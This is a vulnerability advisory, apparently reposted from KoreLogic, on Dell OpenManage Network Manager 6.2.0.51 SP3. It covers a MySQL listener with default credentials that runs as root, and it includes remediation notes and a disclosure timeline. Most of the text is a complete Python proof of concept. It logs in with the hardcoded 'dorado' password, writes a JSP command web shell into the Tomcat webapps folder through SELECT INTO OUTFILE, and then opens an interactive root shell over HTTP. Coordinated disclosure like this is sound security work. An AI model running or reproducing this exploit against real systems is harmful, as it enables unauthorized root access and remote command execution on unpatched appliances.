Dell OpenManage Network Manager 6.2.0.51 SP3 Privilege Escalation

2018.11.07
Risk: Medium
Local: Yes
Remote: No

KL-001-2018-009 : Dell OpenManage Network Manager Multiple Vulnerabilities Title: Dell OpenManage Network Manager Multiple Vulnerabilities Advisory ID: KL-001-2018-009 Publication Date: 2018.11.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-009.txt 1. Vulnerability Details Affected Vendor: Dell Affected Product: OpenManage Network Manager Affected Version: 6.2.0.51 SP3 Platform: Embedded Linux CWE Classification: CWE-285: Improper Authorization, CWE-284: Improper Access Control Impact: Privilege Escalation Attack vector: MySQL, HTTP CVE ID: CVE-2018-15767, CVE-2018-15768 2. Vulnerability Description Dell OpenManage Network Manager exposes a MySQL listener that can be accessed with default credentials (CVE-2018-15768). This MySQL service is running as the root user, so an attacker can exploit this configuration to, e.g., deploy a backdoor and escalate privileges into the root account (CVE-2018-15767). 3. Technical Description The appliance binds on 3306/mysql using the 0.0.0.0 IP address. The default IPTables policy is ACCEPT and the rule table is empty. Using any of three default accounts, a malicious user can exploit native MySQL functionality to place a JSP shell into the directory of a web server on the file system and subsequently make calls into it. 4. Mitigation and Remediation Recommendation The vendor informed KoreLogic that all default passwords can be changed and are documented in the OpenManage Network Manager Installation Guide. Dell recommends all customers change these default passwords upon installation. The vendor has addressed these vulnerabilities in version 6.5.3. Release notes and download instructions can be found at: https://www.dell.com/support/home/us/en/04/drivers/driversdetails?driverId=5XC0J 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2018.02.16 - KoreLogic submits vulnerability details to Dell. 2018.02.16 - Dell acknowledges receipt. 2018.04.02 - Dell informs KoreLogic that a rememdiation plan is in place and requests approximately two months continued embargo on the vulnerability details. 2018.04.23 - 45 business days have elapsed since the vulnerability was reported to Dell. 2018.05.14 - 60 business days have elapsed since the vulnerability was reported to Dell. 2018.06.05 - 75 business days have elapsed since the vulnerability was reported to Dell. 2018.06.11 - Dell informs KoreLogic that the patched version has been released and asks that the KoreLogic advisory remain unpublished until 2018.06.22. 2018.06.21 - Dell requests additional time to coordinate changes to the MySQL implementation, noting that this driver is provided by and upstream vendor. 2018.07.11 - 100 business days have elapsed since the vulnerability was reported to Dell. 2018.07.16 - Dell informs KoreLogic that the remediations are targeted for version 6.5.3, slated for a September release. 2018.08.08 - 120 business days have elapsed since the vulnerability was reported to Dell. 2018.09.20 - 150 business days have elapsed since the vulnerability was reported to Dell. 2018.10.03 - Dell informs KoreLogic that version 6.5.3 is scheduled to be released 2018.10.08. 2018.10.11 - Dell and KoreLogic begin mutual review of disclosure statements. 2018.11.02 - Dell issues public advisory- https://www.dell.com/support/article/us/en/19/sln314610; 180 business days have elapsed since the vulnerability was reported to Dell. 2018.11.05 - KoreLogic Disclosure. 7. Proof of Concept #!/usr/bin/python # $ python dell-openmanage-networkmanager_rce.py --host 1.3.3.7 # Dell OpenManage NetworkManager 6.2.0.51 SP3 # SQL backdoor remote root # # [-] Starting attack. # [+] Connected using root account. # [+] Sending malicious SQL. # [+] Dropping shell. # [-] uid=0(root) gid=0(root) groups=0(root) # # # uname -a # Linux synergy.domain.int 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux from optparse import OptionParser from string import ascii_letters, digits from random import choice from re import compile as regex_compile from urllib import urlopen import pymysql.cursors banner = """Dell OpenManage NetworkManager 6.2.0.51 SP3\nSQL backdoor remote root\n""" accounts = ['root','owmeta','oware'] password = 'dorado' regex = regex_compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") full_path = '/opt/VAroot/dell/openmanage/networkmanager/oware/synergy/tomcat-7.0.40/webapps/nvhelp/%s.jsp' % (''.join( [choice(digits + ascii_letters) for i in xrange(8)])) shell_name = full_path.split('/')[-1] backdoor = """<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String m = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> def do_shell(ip_address): fd = urlopen("http://%s:8080/nvhelp/%s" % (ip_address,shell_name),"cmd=%s" % ('sudo sh -c id')) print "[-] %s\n" % fd.read().strip() fd.close() while True: try: cmd = 'sudo sh -c %s' % raw_input("# ") if ('exit' in cmd or 'quit' in cmd): break fd = urlopen("http://%s:8080/nvhelp/%s" % (ip_address,shell_name),"cmd=%s" % (cmd)) print fd.read().strip() fd.close() except KeyboardInterrupt: print "Exiting." exit(0) return False if __name__=="__main__": print banner parser = OptionParser() parser.add_option("--host",dest="host",default=None,help="Target IP address") o, a = parser.parse_args() if o.host is None: print "[!] Please provide the required parameters." exit(1) elif not regex.match(o.host): print "[!] --host must contain an IP address." exit(1) else: print "[-] Starting attack." try: for user in accounts: conn = pymysql.connect(host=o.host, user=user, password=password, db='mysql', cursorclass=pymysql.cursors.DictCursor ) if conn.user is user: print "[+] Connected using %s account." % (user) cursor = conn.cursor() print "[+] Sending malicious SQL." table_name = ''.join( [choice(digits + ascii_letters) for i in xrange(8)]) column_name = ''.join( [choice(digits + ascii_letters) for i in xrange(8)]) cursor.execute('create table %s (%s text)' % (table_name, column_name)) cursor.execute("insert into %s (%s) values ('%s')" % (table_name, column_name, backdoor)) conn.commit() cursor.execute('select * from %s into outfile "%s" fields escaped by ""' % (table_name,full_path)) cursor.execute('drop table if exists `%s`' % (table_name)) conn.commit() cursor.execute('flush logs') print "[+] Dropping shell." do_shell(o.host) break except Exception as e: if e[0] == '1045': print "[!] Hardcoded SQL credentials failed." % (e) else: print "[!] Could not execute attack. Reason: %s." % (e) exit(0) The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


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